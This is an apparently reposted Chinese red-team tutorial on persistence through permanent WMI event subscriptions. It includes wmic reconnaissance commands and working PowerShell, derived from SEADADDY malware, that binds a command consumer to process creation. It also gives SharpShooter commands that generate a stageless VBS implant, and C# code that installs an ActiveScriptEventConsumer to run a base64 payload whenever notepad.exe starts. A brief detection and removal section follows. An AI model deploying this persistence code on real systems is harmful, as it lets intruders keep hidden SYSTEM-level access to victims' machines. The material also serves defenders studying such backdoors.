内容简介:与之前的文章不同,这个操作需要管理员权限。在日常中,使用但其实它的功能还有很多,比如:
与之前的文章不同,这个操作需要管理员权限。
0x00 前言
在日常中,使用 WMI
都是用于信息的收集,如下:
wmic qfe list #获取补丁信息 wmic startup list brief # 启动的程序 wmic startup list full # 自启动的程序 wmic process call create "calc.exe" # 在当前机器中执行指定程序 wmic process where name='*.exe' list full #查询某个进程所对应某个具体的可执行程序是什么 wmic process where(description="rundll32.exe") # 查看rundll32所加载的dll wmic cpu get DataWidth /format:list # 查询当前机器的操作系统位数 wmic share get name,path,status #利用wmic查找共享 wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem,volumeserialnumber,size #查看分区
但其实它的功能还有很多,比如:
防病毒检测 代码执行 横向移动 持久化 盗取数据
0x01 查询 WMI
WMI
提供了一种非常直观的语法用来查询WMI对象的实例,类和命名空间,即 WQL
(类似 SQL 的查询语言)。WQL查询通常可以分为以下几类:
- Instance Queries(实例查询):查询WMI对象实例。
- Event Queries(事件查询):等同于在WMI对象创建/修改/删除的时候注册一个消息。
- Meta Queries(元查询):元查询用来获取WMI命名空间和类结构的元信息。
1.1 Instance Queries
这是最常用的WQL查询。基本的格式如下:
SELECT [Class property name | *] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
-
下面的查询语句将返回所有可执行文件名中带有
chrome
的正在运行的进程:SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
1.2 Event Queries
事件查询被用作一种消息机制来监听事件类的触发。通常用来在一个WMI对象实例创建/修改/删除的时候给用户发送一个消息。根据消息类型是 intrinsic
(系统自带的)还是 extrinsic
(第三方的),查询语句格式不同:
SELECT [Class property name | *] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]> SELECT [Class property name | *] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>
-
用于登陆时都会触发此事件:
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstanceISA 'Win32_LogonSession' AND TargetInstance.LogonType=2
-
每次用户在插入可移除设备时都会触发此事件:
SELECT * FROM Win32_VolumeChangeEvent Where EventType=2
-
每次创建 win32 进程时都会触发此事件:
Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"
1.3 Meta Queries
元查询用来查询WMI命名空间和类结构的信息。最常见的用法是用来列举WMI命名空间的类结构。元查询是实例查询的一个子集,但是与对象查询不同的是,我们查询的是类的实例的定义。
-
格式如下:
SELECT [Class property name | *] FROM [Meta_Class | SYSTEM CLASS NAME] <WHERE [CONSTRAINT]>
-
下面这个语句会查询所有以
WIN32
开头的WMI的类:SELECT * FROM Meta_Class WHERE __CLASS LIKE "Win32%"
-
下面这个语句会查询某个命名空间下的所有命名空间:
SELECT Name FROM __NAMESPACE
注意,当不显示的指定命名空间时,默认的命名空间为 ROOT\CIMV2
。
0x02 与WMI交互
Microsoft和一些第三方软件开发者为我们提供了许多能够与WMI交互的工具。
下面是部分 工具 的一个不完全的列表
1、PowerShell 2、wmic.exe 3、wbemtest.exe 4、WMI Explorer 5、CIM Studio 6、Windows Script Host (WSH) languages 7、C/C++ via IWbem* COM API 8、.NET using System.Management classes 9、winrm.exe
0x03 WMI事件
WMI事件分两类,包括 本地事件
(运行在本地上下文环境当中的单个进程的事件)和 永久性WMI事件订阅
。
本地事件有生命周期为进程宿主的周期,而永久性 WMI事件 是存储在WMI库中,以 SYSTEM 权限运行,并且重启后依然存在。
3.1 前置条件
为了能够安装一个 永久性的 WMI 事件订阅
,必须满足两个条件:
-
一个
__EventFilter
查询,它创建一个过滤器,为我们的特定事件选择触发器; - Event Consumer Class ,代表一个事件触发时所执行的操作。
在 Event Consumers
(事件处理)中,可用的标准事件处理类:
LogFileEventConsumer: 将事件数据写入到指定的日志文件 ActiveScriptEventConsumer: 用来执行VBScript/JScript程序 NTEventLogEventConsumer:创建一个包含事件数据的日志入口点 SMTPEventConsumer:将事件数据用邮件发送 CommandLineEventConsumer:执行一条命令
利用点
-
ActiveScriptEventConsumer
,允许执行任意脚本(支持JScript
和VBScript
引擎) -
CommandLineEventConsumer
,允许执行任意命令
3.2 测试
使用以下查询进行测试:
Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"
为了方便测试,此处使用 Powershell 的 Register-WMIEvent
安装触发器。
以上测试不符合实际需求。
3.3 Powershell 实例(命令执行)
下面的 PowerShell
代码来自一个叫 SEADADDY
的恶意软件的修改版,用来通过 WMI做持久化
的
$EventFilterName = 'BotFilter11' $EventConsumerName = 'BotConsumer22' $EventFilterArgs = @{ EventNamespace = 'root\cimv2' Name = $EventFilterName Query = 'Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"' QueryLanguage="WQL" } $WMIEventFilter = Set-WmiInstance -NameSpace 'root\subscription' -Class __EventFilter -Arguments $EventFilterArgs -ErrorAction Stop $CommandLineumerArgs =@{ Name=$EventConsumerName CommandLineTemplate='C:\Windows\System32\calc.exe' } $WMIEventConsumer = Set-WmiInstance -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments $CommandLineumerArgs $WMIEventFilterToConsumerArgs = @{ Filter=$WMIEventFilter Consumer=$WMIEventConsumer } Set-WmiInstance -Namespace 'root\subscription' -Class __FilterToConsumerBinding -Arguments $WMIEventFilterToConsumerArgs
但是这里实测失败,就算使用 C#
去添加 CommandLineEventConsumer
也是失败的,但是 LogFileEventConsumer
可成功。
3.4 C# 实例(代码执行)
本示例执行的是 VBScript
使用 SharpShooter
生成 VBSceipt
类型的 payload
。 友情提示:一定要生成 64位的 payload。
> python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload64.bin _____ __ _____ __ __ / ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____ \__ \/ __ \/ __ `/ ___/ __ \__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/ ___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ / /____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/ /_/ Dominic Chell, @domchell, MDSec ActiveBreach, v2.0 [*] Written delivery payload to output/implantvbs.vbs 运行vbs,成功上线,再进行 base64 编码 > base64 -i output/implantvbs.vbs >>implantvbs-base64.txt
示例代码:
// WMI Event Subscription Peristence Demo // Author: @domchell using System; using System.Text; using System.Management; namespace WMIPersistence { class Program { static void Main(string[] args) { PersistWMI(); } static void PersistWMI() { ManagementObject myEventFilter = null; ManagementObject myEventConsumer = null; ManagementObject myBinder = null; string vbscript64 = "<INSIDE base64 encoded VBS here>"; string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64)); try { ManagementScope scope = new ManagementScope(@"\\.\root\subscription"); ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("__EventFilter"), null); String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " + "WHERE TargetInstance ISA \"Win32_Process\" " + "AND TargetInstance.Name = \"notepad.exe\""; WqlEventQuery myEventQuery = new WqlEventQuery(strQuery); myEventFilter = wmiEventFilter.CreateInstance(); myEventFilter["Name"] = "demoEventFilter"; myEventFilter["Query"] = myEventQuery.QueryString; myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage; myEventFilter["EventNameSpace"] = @"\root\cimv2"; myEventFilter.Put(); Console.WriteLine("[*] Event filter created."); myEventConsumer = new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance(); myEventConsumer["Name"] = "BadActiveScriptEventConsumer"; myEventConsumer["ScriptingEngine"] = "VBScript"; myEventConsumer["ScriptText"] = vbscript; myEventConsumer.Put(); Console.WriteLine("[*] Event consumer created."); myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance(); myBinder["Filter"] = myEventFilter.Path.RelativePath; myBinder["Consumer"] = myEventConsumer.Path.RelativePath; myBinder.Put(); Console.WriteLine("[*] Subscription created"); } catch (Exception e) { Console.WriteLine(e); } // END CATCH Console.ReadKey(); } // END FUNC } // END CLASS } // END NAMESPACE
管理员权限运行生成的exe, 演示 GIF
0x04 WMI后门检测及清除
4.1 Sysmon日志
略….
4.2 查看当前WMI Event
#List Event Filters Get-WMIObject -Namespace root\Subscription -Class __EventFilter #List Event Consumers Get-WMIObject -Namespace root\Subscription -Class __EventConsumer #List Event Bindings Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
4.3 清除后门
#Filter Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose #Consumer Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose #Binding Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose
0x05 参考
以上所述就是小编给大家介绍的《永久性 WMIC 事件订阅 - 权限维持(三)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Agile Web Development with Rails, Third Edition
Sam Ruby、Dave Thomas、David Heinemeier Hansson / Pragmatic Bookshelf / 2009-03-17 / USD 43.95
Rails just keeps on changing. Rails 2, released in 2008, brings hundreds of improvements, including new support for RESTful applications, new generator options, and so on. And, as importantly, we’ve a......一起来看看 《Agile Web Development with Rails, Third Edition》 这本书的介绍吧!